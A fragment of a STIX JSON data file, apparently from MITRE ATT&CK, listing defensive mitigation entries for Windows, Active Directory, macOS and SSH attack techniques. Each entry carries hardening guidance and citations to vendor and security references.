            "description": "Monitor systems and domain logs for unusual credential logon activity. Prevent access to [Valid Accounts](https://attack.mitre.org/techniques/T1078). Apply patch KB2871997 to Windows 7 and higher systems to limit the default access of accounts in the local administrator group. \n\nEnable pass the hash mitigations to apply UAC restrictions to local accounts on network logon. The associated Registry key is located <code>HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\LocalAccountTokenFilterPolicy</code> Through GPO: Computer Configuration > [Policies] > Administrative Templates > SCM: Pass the Hash Mitigations: Apply UAC restrictions to local accounts on network logons. (Citation: GitHub IAD Secure Host Baseline UAC Filtering)\n\nLimit credential overlap across systems to prevent the damage of credential compromise and reduce the adversary's ability to perform Lateral Movement between systems. Ensure that built-in and created local administrator accounts have complex, unique passwords. Do not allow a domain user to be in the local administrator group on multiple systems.",
            "external_references": [
                {
                    "external_id": "T1075",
                    "url": "https://attack.mitre.org/mitigations/T1075",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://github.com/iadgov/Secure-Host-Baseline/blob/master/Windows/Group%20Policy%20Templates/en-US/SecGuide.adml",
                    "source_name": "GitHub IAD Secure Host Baseline UAC Filtering",
                    "description": "NSA IAD. (2017, January 24). MS Security Guide. Retrieved December 18, 2017."
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Pass the Ticket Mitigation",
            "description": "Monitor domains for unusual credential logons. Limit credential overlap across systems to prevent the damage of credential compromise. Ensure that local administrator accounts have complex, unique passwords. Do not allow a user to be a local administrator for multiple systems. Limit domain admin account permissions to domain controllers and limited servers. Delegate other admin functions to separate accounts. (Citation: ADSecurity AD Kerberos Attacks)\n\nFor containing the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it. (Citation: CERT-EU Golden Ticket Protection)\n\nAttempt to identify and block unknown or malicious software that could be used to obtain Kerberos tickets and use them to authenticate by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
                {
                    "external_id": "T1097",
                    "url": "https://attack.mitre.org/mitigations/T1097",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://adsecurity.org/?p=556",
                    "description": "Metcalf, S. (2014, November 22). Mimikatz and Active Directory Kerberos Attacks. Retrieved June 2, 2016.",
                    "source_name": "ADSecurity AD Kerberos Attacks"
                },
                {
                    "url": "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf",
                    "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.",
                    "source_name": "CERT-EU Golden Ticket Protection"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
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                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
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                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Password Filter DLL Mitigation",
            "description": "Ensure only valid password filters are registered. Filter DLLs must be present in Windows installation directory (<code>C:\\Windows\\System32\\</code> by default) of a domain controller and/or local computer with a corresponding entry in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages</code>. (Citation: Microsoft Install Password Filter n.d)",
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1174",
                    "external_id": "T1174"
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                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms721766.aspx",
                    "description": "Microsoft. (n.d.). Installing and Registering a Password Filter DLL. Retrieved November 21, 2017.",
                    "source_name": "Microsoft Install Password Filter n.d"
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                    "source_name": "mitre-attack",
                    "external_id": "M1027",
                    "url": "https://attack.mitre.org/mitigations/M1027"
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            ],
            "name": "Password Policies",
            "description": "Set and enforce secure password policies for accounts.",
            "id": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485",
            "type": "course-of-action",
            "modified": "2019-06-06T21:10:35.792Z",
            "created": "2019-06-06T21:10:35.792Z",
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            "id": "course-of-action--49961e75-b493-423a-9ec7-ac2d6f55384a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Password Policy Discovery Mitigation",
            "description": "Mitigating discovery of password policies is not advised since the information is required to be known by systems and users of a network. Ensure password policies are such that they mitigate brute force attacks yet will not give an adversary an information advantage because the policies are too light. Active Directory is a common way to set and enforce password policies throughout an enterprise network. (Citation: Microsoft Password Complexity)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1201",
                    "external_id": "T1201"
                },
                {
                    "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/password-must-meet-complexity-requirements",
                    "description": "Hall, J., Lich, B. (2017, September 9). Password must meet complexity requirements. Retrieved April 5, 2018.",
                    "source_name": "Microsoft Password Complexity"
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            "object_marking_refs": [
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            "id": "course-of-action--e0703d4f-3972-424a-8277-84004817e024",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Path Interception Mitigation",
            "description": "Eliminate path interception weaknesses in program configuration files, scripts, the PATH environment variable, services, and in shortcuts by surrounding PATH variables with quotation marks when functions allow for them (Citation: Microsoft CreateProcess). Be aware of the search order Windows uses for executing or loading binaries and use fully qualified paths wherever appropriate (Citation: MSDN DLL Security). Clean up old Windows Registry keys when software is uninstalled to avoid keys with no associated legitimate binaries.\n\nPeriodically search for and correct or report path interception weaknesses on systems that may have been introduced using custom or available tools that report software using insecure path configurations (Citation: Kanthak Sentinel). \n\nRequire that all executables be placed in write-protected directories. Ensure that proper permissions and directory access control are set to deny users the ability to write files to the top-level directory <code>C:</code> and system directories, such as <code>C:\\Windows\\</code>, to reduce places where malicious files could be placed for execution.\n\nIdentify and block potentially malicious software that may be executed through the path interception by using whitelisting (Citation: Beechey 2010) tools, like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies, (Citation: Corio 2008) that are capable of auditing and/or blocking unknown executables.",
            "external_references": [
                {
                    "external_id": "T1034",
                    "url": "https://attack.mitre.org/mitigations/T1034",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "http://msdn.microsoft.com/en-us/library/ms682425",
                    "description": "Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.",
                    "source_name": "Microsoft CreateProcess"
                },
                {
                    "source_name": "MSDN DLL Security",
                    "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved July 25, 2016.",
                    "url": "https://msdn.microsoft.com/en-us/library/ff919712.aspx"
                },
                {
                    "source_name": "Kanthak Sentinel",
                    "description": "Kanthak, S. (2016, July 20). Vulnerability and Exploit Detector. Retrieved February 3, 2017.",
                    "url": "https://skanthak.homepage.t-online.de/sentinel.html"
                },
                {
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            "description": "Holding the Shift key while logging in prevents apps from opening automatically (Citation: Re-Open windows on Mac). This feature can be disabled entirely with the following terminal command: <code>defaults write -g ApplePersistence -bool no</code>.",
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                    "url": "https://support.apple.com/en-us/HT204005",
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                    "description": "National Security Agency. (2016, May 4). Secure Host Baseline EMET. Retrieved June 22, 2016.",
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                    "description": "Microsoft. (n.d.). Configure Timeout and Reconnection Settings for Remote Desktop Services Sessions. Retrieved December 11, 2017.",
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                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
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            "name": "Replication Through Removable Media Mitigation",
            "description": "Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if it is not required for business operations. (Citation: TechNet Removable Media Control)\n\nIdentify potentially malicious software that may be used to infect removable media or may result from tainted removable media, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
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                    "url": "https://attack.mitre.org/mitigations/T1091",
                    "source_name": "mitre-attack"
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                {
                    "source_name": "Microsoft Disable Autorun",
                    "description": "Microsoft. (n.d.). How to disable the Autorun functionality in Windows. Retrieved April 20, 2016.",
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                    "source_name": "TechNet Removable Media Control",
                    "description": "Microsoft. (2007, August 31). https://technet.microsoft.com/en-us/library/cc771759(v=ws.10).aspx. Retrieved April 20, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/cc772540(v=ws.10).aspx"
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                    "source_name": "Beechey 2010",
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                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
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                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
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                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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            ],
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            "modified": "2020-01-17T16:45:23.877Z",
            "created": "2018-10-17T00:14:20.652Z",
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            "id": "course-of-action--46acc565-11aa-40ba-b629-33ba0ab9b07b",
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            "external_references": [
                {
                    "url": "https://attack.mitre.org/mitigations/T1496",
                    "source_name": "mitre-attack",
                    "external_id": "T1496"
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                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                {
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
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                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "source_name": "Corio 2008",
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                {
                    "source_name": "TechNet Applocker vs SRP",
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            "modified": "2020-05-20T15:12:39.136Z",
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                {
                    "source_name": "mitre-attack",
                    "external_id": "M1022",
                    "url": "https://attack.mitre.org/mitigations/M1022"
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            ],
            "name": "Restrict File and Directory Permissions",
            "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.",
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            "created": "2019-06-11T17:00:01.740Z",
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            "description": "Prevent abuse of library loading mechanisms in the operating system and software to load untrusted code by configuring appropriate library loading mechanisms and investigating potential vulnerable software.",
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                {
                    "source_name": "mitre-attack",
                    "external_id": "M1044",
                    "url": "https://attack.mitre.org/mitigations/M1044"
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            "created": "2019-06-06T20:58:59.577Z",
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            "description": "Restrict the ability to modify certain hives or keys in the Windows Registry.",
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                {
                    "source_name": "mitre-attack",
                    "external_id": "M1024",
                    "url": "https://attack.mitre.org/mitigations/M1024"
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            "created": "2019-06-06T20:52:59.206Z",
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            "id": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96",
            "description": "Restrict use of certain websites, block downloads/attachments, block Javascript, restrict browser extensions, etc.",
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                    "external_id": "M1021",
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            "description": "Identify potentially malicious software that may contain rootkit functionality, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "url": "https://attack.mitre.org/mitigations/T1014",
                    "source_name": "mitre-attack"
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                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
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                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
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                    "source_name": "Corio 2008",
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                    "source_name": "TechNet Applocker vs SRP",
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            "type": "course-of-action",
            "modified": "2020-01-17T16:45:23.192Z",
            "created": "2018-10-17T00:14:20.652Z",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Rundll32 Mitigation",
            "description": "Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass whitelisting. (Citation: Secure Host Baseline EMET)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1085",
                    "external_id": "T1085"
                },
                {
                    "source_name": "Secure Host Baseline EMET",
                    "description": "National Security Agency. (2016, May 4). Secure Host Baseline EMET. Retrieved June 22, 2016.",
                    "url": "https://github.com/iadgov/Secure-Host-Baseline/tree/master/EMET"
                }
            ],
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            "type": "course-of-action",
            "modified": "2019-07-25T11:36:40.673Z",
            "created": "2018-10-17T00:14:20.652Z",
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                {
                    "url": "https://attack.mitre.org/mitigations/T1494",
                    "source_name": "mitre-attack",
                    "external_id": "T1494"
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                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
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                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "source_name": "Corio 2008",
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                {
                    "source_name": "TechNet Applocker vs SRP",
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                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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            ],
            "description": "Identify critical business and system processes that may be targeted by adversaries and work to secure those systems against tampering. Prevent critical business and system processes from being replaced, overwritten, or reconfigured to load potentially malicious code. Identify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)",
            "name": "Runtime Data Manipulation Mitigation",
            "id": "course-of-action--337172b1-b003-4034-8a3f-1d89a71da628",
            "type": "course-of-action",
            "modified": "2020-01-17T16:45:23.880Z",
            "created": "2019-04-12T14:59:36.522Z",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "SID-History Injection Mitigation",
            "description": "Clean up SID-History attributes after legitimate account migration is complete.\n\nConsider applying SID Filtering to interforest trusts, such as forest trusts and external trusts, to exclude SID-History from requests to access domain resources. SID Filtering ensures that any authentication requests over a trust only contain SIDs of security principals from the trusted domain (i.e. preventing the trusted domain from claiming a user has membership in groups outside of the domain).\n\nSID Filtering of forest trusts is enabled by default, but may have been disabled in some cases to allow a child domain to transitively access forest trusts. SID Filtering of external trusts is automatically enabled on all created external trusts using Server 2003 or later domain controllers. (Citation: Microsoft Trust Considerations Nov 2014) (Citation: Microsoft SID Filtering Quarantining Jan 2009) However note that SID Filtering is not automatically applied to legacy trusts or may have been deliberately disabled to allow inter-domain access to resources.\n\nSID Filtering can be applied by: (Citation: Microsoft Netdom Trust Sept 2012)\n\n* Disabling SIDHistory on forest trusts using the netdom tool (<code>netdom trust <TrustingDomainName> /domain:<TrustedDomainName> /EnableSIDHistory:no</code> on the domain controller). \n* Applying SID Filter Quarantining to external trusts using the netdom tool (<code>netdom trust <TrustingDomainName> /domain:<TrustedDomainName> /quarantine:yes</code> on the domain controller)\nApplying SID Filtering to domain trusts within a single forest is not recommended as it is an unsupported configuration and can cause breaking changes. (Citation: Microsoft Netdom Trust Sept 2012) (Citation: AdSecurity Kerberos GT Aug 2015) If a domain within a forest is untrustworthy then it should not be a member of the forest. In this situation it is necessary to first split the trusted and untrusted domains into separate forests where SID Filtering can be applied to an interforest trust.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1178",
                    "external_id": "T1178"
                },
                {
                    "url": "https://technet.microsoft.com/library/cc755321.aspx",
                    "description": "Microsoft. (2014, November 19). Security Considerations for Trusts. Retrieved November 30, 2017.",
                    "source_name": "Microsoft Trust Considerations Nov 2014"
                },
                {
                    "url": "https://technet.microsoft.com/library/cc794757.aspx",
                    "description": "Microsoft. (n.d.). Configuring SID Filter Quarantining on External Trusts. Retrieved November 30, 2017.",
                    "source_name": "Microsoft SID Filtering Quarantining Jan 2009"
                },
                {
                    "url": "https://technet.microsoft.com/library/cc835085.aspx",
                    "description": "Microsoft. (2012, September 11). Command-Line Reference - Netdom Trust. Retrieved November 30, 2017.",
                    "source_name": "Microsoft Netdom Trust Sept 2012"
                },
                {
                    "url": "https://adsecurity.org/?p=1640",
                    "description": "Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now More Golden. Retrieved December 1, 2017.",
                    "source_name": "AdSecurity Kerberos GT Aug 2015"
                }
            ],
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            "type": "course-of-action",
            "modified": "2019-07-25T11:37:35.427Z",
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            "name": "SIP and Trust Provider Hijacking Mitigation",
            "description": "Ensure proper permissions are set for Registry hives to prevent users from modifying keys related to SIP and trust provider components. Also ensure that these values contain their full path to prevent [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nConsider removing unnecessary and/or stale SIPs. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nRestrict storage and execution of SIP DLLs to protected directories, such as C:\\Windows, rather than user directories.\n\nEnable whitelisting solutions such as AppLocker and/or Device Guard to block the loading of malicious SIP DLLs. Components may still be able to be hijacked to suitable functions already present on disk if malicious modifications to Registry keys are not prevented.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1198",
                    "external_id": "T1198"
                },
                {
                    "source_name": "SpectorOps Subverting Trust Sept 2017",
                    "description": "Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.",
                    "url": "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf"
                }
            ],
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            "type": "course-of-action",
            "modified": "2019-07-25T11:38:03.304Z",
            "created": "2018-10-17T00:14:20.652Z",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "SSH Hijacking Mitigation",
            "description": "Ensure SSH key pairs have strong passwords and refrain from using key-store technologies such as ssh-agent unless they are properly protected. Ensure that all private keys are stored securely in locations where only the legitimate owner has access to with strong passwords and are rotated frequently. Ensure proper file permissions are set and harden system to prevent root privilege escalation opportunities. Do not allow remote access via SSH as root or other privileged accounts. Ensure that agent forwarding is disabled on systems that do not explicitly require this feature to prevent misuse. (Citation: Symantec SSH and ssh-agent)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1184",
                    "external_id": "T1184"
                },
                {
                    "url": "https://www.symantec.com/connect/articles/ssh-and-ssh-agent",
                    "description": "Hatch, B. (2004, November 22). SSH and ssh-agent. Retrieved January 8, 2018.",
                    "source_name": "Symantec SSH and ssh-agent"
                }
            ],
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            ],
            "type": "course-of-action",
            "modified": "2019-07-25T11:38:28.944Z",
            "created": "2018-10-17T00:14:20.652Z",
            "x_mitre_deprecated": true,
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        },
        {
            "created": "2019-06-06T20:15:34.146Z",
            "modified": "2019-06-06T20:15:34.146Z",
            "type": "course-of-action",
            "id": "course-of-action--7bb5fae9-53ad-4424-866b-f0ea2a8b731d",
            "description": "Break and inspect SSL/TLS sessions to look at encrypted web traffic for adversary activity.",
            "name": "SSL/TLS Inspection",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "M1020",
                    "url": "https://attack.mitre.org/mitigations/M1020"
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            ],
            "object_marking_refs": [
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Scheduled Task Mitigation",
            "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create scheduled tasks on remote systems. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for permission weaknesses in scheduled tasks that could be used to escalate privileges. (Citation: Powersploit)\n\nConfigure settings for scheduled tasks to force tasks to run under the context of the authenticated account instead of allowing them to run as SYSTEM. The associated Registry key is located at <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\SubmitControl</code>. The setting can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > Security Options: Domain Controller: Allow server operators to schedule tasks, set to disabled. (Citation: TechNet Server Operator Scheduled Task)\n\nConfigure the Increase Scheduling Priority option to only allow the Administrators group the rights to schedule a priority process. This can be can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Increase scheduling priority. (Citation: TechNet Scheduling Priority)\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to schedule tasks using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
                {
                    "external_id": "T1053",
                    "url": "https://attack.mitre.org/mitigations/T1053",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://github.com/mattifestation/PowerSploit",
                    "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
                    "source_name": "Powersploit"
                },
                {
                    "source_name": "TechNet Server Operator Scheduled Task",
                    "description": "Microsoft. (2012, November 15). Domain controller: Allow server operators to schedule tasks. Retrieved December 18, 2017.",
                    "url": "https://technet.microsoft.com/library/jj852168.aspx"
                },
                {
                    "source_name": "TechNet Scheduling Priority",
                    "description": "Microsoft. (2013, May 8). Increase scheduling priority. Retrieved December 18, 2017.",
                    "url": "https://technet.microsoft.com/library/dn221960.aspx"
                },
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
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                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
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                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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            "name": "Scheduled Transfer Mitigation",
            "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
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                    "url": "https://attack.mitre.org/mitigations/T1029",
                    "external_id": "T1029"
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                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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            "name": "Screen Capture Mitigation",
            "description": "Blocking software based on screen capture functionality may be difficult, and there may be legitimate software that performs those actions. Instead, identify potentially malicious software that may have functionality to acquire screen captures, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "url": "https://attack.mitre.org/mitigations/T1113",
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
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                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
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                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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            "description": "Block .scr files from being executed from non-standard locations. Set Group Policy to force users to have a dedicated screensaver where local changes should not override the settings to prevent changes. Use Group Policy to disable screensavers if they are unnecessary. (Citation: TechNet Screensaver GP)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1180",
                    "external_id": "T1180"
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                {
                    "url": "https://technet.microsoft.com/library/cc938799.aspx",
                    "description": "Microsoft. (n.d.). Customizing the Desktop. Retrieved December 5, 2017.",
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            "description": "Turn off unused features or restrict access to scripting engines such as VBScript or scriptable administration frameworks such as PowerShell.\n\nConfigure Office security settings enable Protected View, to execute within a sandbox environment, and to block macros through Group Policy. (Citation: Microsoft Block Office Macros) Other types of virtualization and application microsegmentation may also mitigate the impact of compromise. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)",
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                    "url": "https://attack.mitre.org/mitigations/T1064",
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                    "description": "Windows Defender Research. (2016, March 22). New feature in Office 2016 can block macros and help prevent infection. Retrieved April 11, 2018.",
                    "source_name": "Microsoft Block Office Macros"
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                    "source_name": "Ars Technica Pwn2Own 2017 VM Escape",
                    "description": "Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.",
                    "url": "https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/"
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                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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            ],
            "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about local security software, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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            "name": "Security Support Provider Mitigation",
